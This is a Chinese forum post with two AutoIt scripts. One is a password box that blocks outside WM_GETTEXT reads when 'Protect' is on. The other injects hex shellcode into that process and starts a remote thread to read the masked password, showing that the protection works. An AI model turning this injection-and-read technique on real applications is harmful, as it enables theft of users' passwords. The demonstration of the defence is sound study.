本帖最后由 pusofalse 于 2012-3-28 20:56 编辑
Test.au3
#include <WinAPI.au3>
#include <EditConstants.au3>
#include <WindowsConstants.au3>
Const $INPUT_PASSWORD = 3
Const $BUTTON_PROTECT = 4
Const $BUTTON_READ = 5
Const $FLAG_READING = 1
Const $FLAG_PROTECTED = 2
Global $INPUT_FLAG, $INPUT_WNDPROC
$hInputProc = DllCallbackRegister("_InputProc", "long", "hwnd;long;wparam;lparam")
$pInputProc = DllCallbackGetPtr($hInputProc)
$hGUI = GUICreate("test", 200, 80)
GUICtrlCreateInput("", 20, 20, 160, 20, BitOR($ES_AUTOHSCROLL, $ES_PASSWORD))
$INPUT_WNDPROC = _WinAPI_SetWindowLong(GUICtrlGetHandle(-1), -4, $pInputProc)
GUICtrlCreateButton("Protect", 20, 50, 75, 20)
GUICtrlCreateButton("Read", 105, 50, 75, 20)
GUISetState()
While 1
Switch GUIGetMsg()
Case $BUTTON_PROTECT
_ProtectInputFromRemoteRead()
Case $BUTTON_READ
MsgBox(48, "Password", _ReadData())
Case -3
ExitLoop
EndSwitch
WEnd
GUIDelete($hGUI)
DllCallbackFree($hInputProc)
Func _ReadData()
$INPUT_FLAG = BitOR($INPUT_FLAG, $FLAG_READING)
Local $sPassword = GUICtrlRead($INPUT_PASSWORD)
$INPUT_FLAG = BitAND($INPUT_FLAG, BitNot($FLAG_READING))
Return $sPassword
EndFunc ;==>_ReadData
Func _ProtectInputFromRemoteRead()
$INPUT_FLAG = BitXOR($INPUT_FLAG, $FLAG_PROTECTED)
If BitAND($INPUT_FLAG, $FLAG_PROTECTED) Then
GUICtrlSetData($BUTTON_PROTECT, "Unprotect")
Else
GUICtrlSetData($BUTTON_PROTECT, "Protect")
EndIf
EndFunc ;==>_ProtectInputFromRemoteRead
Func _InputProc($hWnd, $iMsg, $iwParam, $ilParam)
If $iMsg = $WM_GETTEXT And BitAND($INPUT_FLAG, BitOR($FLAG_READING, $FLAG_PROTECTED)) = $FLAG_PROTECTED Then
Return 1
EndIf
Return _WinAPI_CallWindowProc($INPUT_WNDPROC, $hWnd, $iMsg, $iwParam, $ilParam)
EndFunc ;==>_InputProc
ReadPassword.au3
#include <Thread.au3>
$hWnd = ControlGetHandle("test", "", "Edit1")
If $hWnd = 0 Then Exit
$iPid = WinGetProcess($hWnd)
$hProcess = _RTOpenProcess($iPid)
$pStart = _RTVirtualAllocEx($hProcess, 4096)
$bBinary = _ReadPasswordGetShellX()
_RTInjectEx($hProcess, $pStart, $bBinary)
$hThread = _RTCreateRemoteThread($hProcess, $pStart + 8, $hWnd)
_RTWaitForObject($hThread)
$pBuffer = DllCall("Kernel32.dll", "bool", "GetExitCodeThread", "handle", $hThread, "ptr*", 0)
$sPassword = _RTReadProcessMemory($hProcess, $pBuffer[2], "", 1024, "str")
_RTVirtualFreeEx($hProcess, $pStart, 4096)
_RTCloseHandle($hThread)
_RTCloseHandle($hProcess)
MsgBox(48, "Password", $sPassword)
Func _ReadPasswordGetShellX()
Local $bBinary = "0x558BEC53E8000000005B83EB1168000400006A40FF1385C07415505068000400006A0DFF7508FF53045A85C00F45C25B5DC20400CCCCCCCC"
Local $tBuffer = DllStructCreate("ptr Functions[2];ubyte Binary[" & BinaryLen($bBinary) & "]")
Local $pBuffer = DllStructGetPtr($tBuffer)
Local $tBinary = DllStructCreate("ubyte Binary[" & DllStructGetSize($tBuffer) & "]", $pBuffer)
DllStructSetData($tBuffer, "Functions", _RTGetProcAddress("Kernel32.dll", "LocalAlloc"), 1)
DllStructSetData($tBuffer, "Functions", _RTGetProcAddress("User32.dll", "SendMessageA"), 2)
DllStructSetData($tBuffer, "Binary", $bBinary)
Return DllStructGetData($tBinary, "Binary")
EndFunc ;==>_ReadPasswordGetShellX
先运行test.au3,再运行ReadPassword.au3。用ReadPassword获取星号密码,在test中点击“Protect”,ReadPassword就获取不到了,原理就是3#说的。 |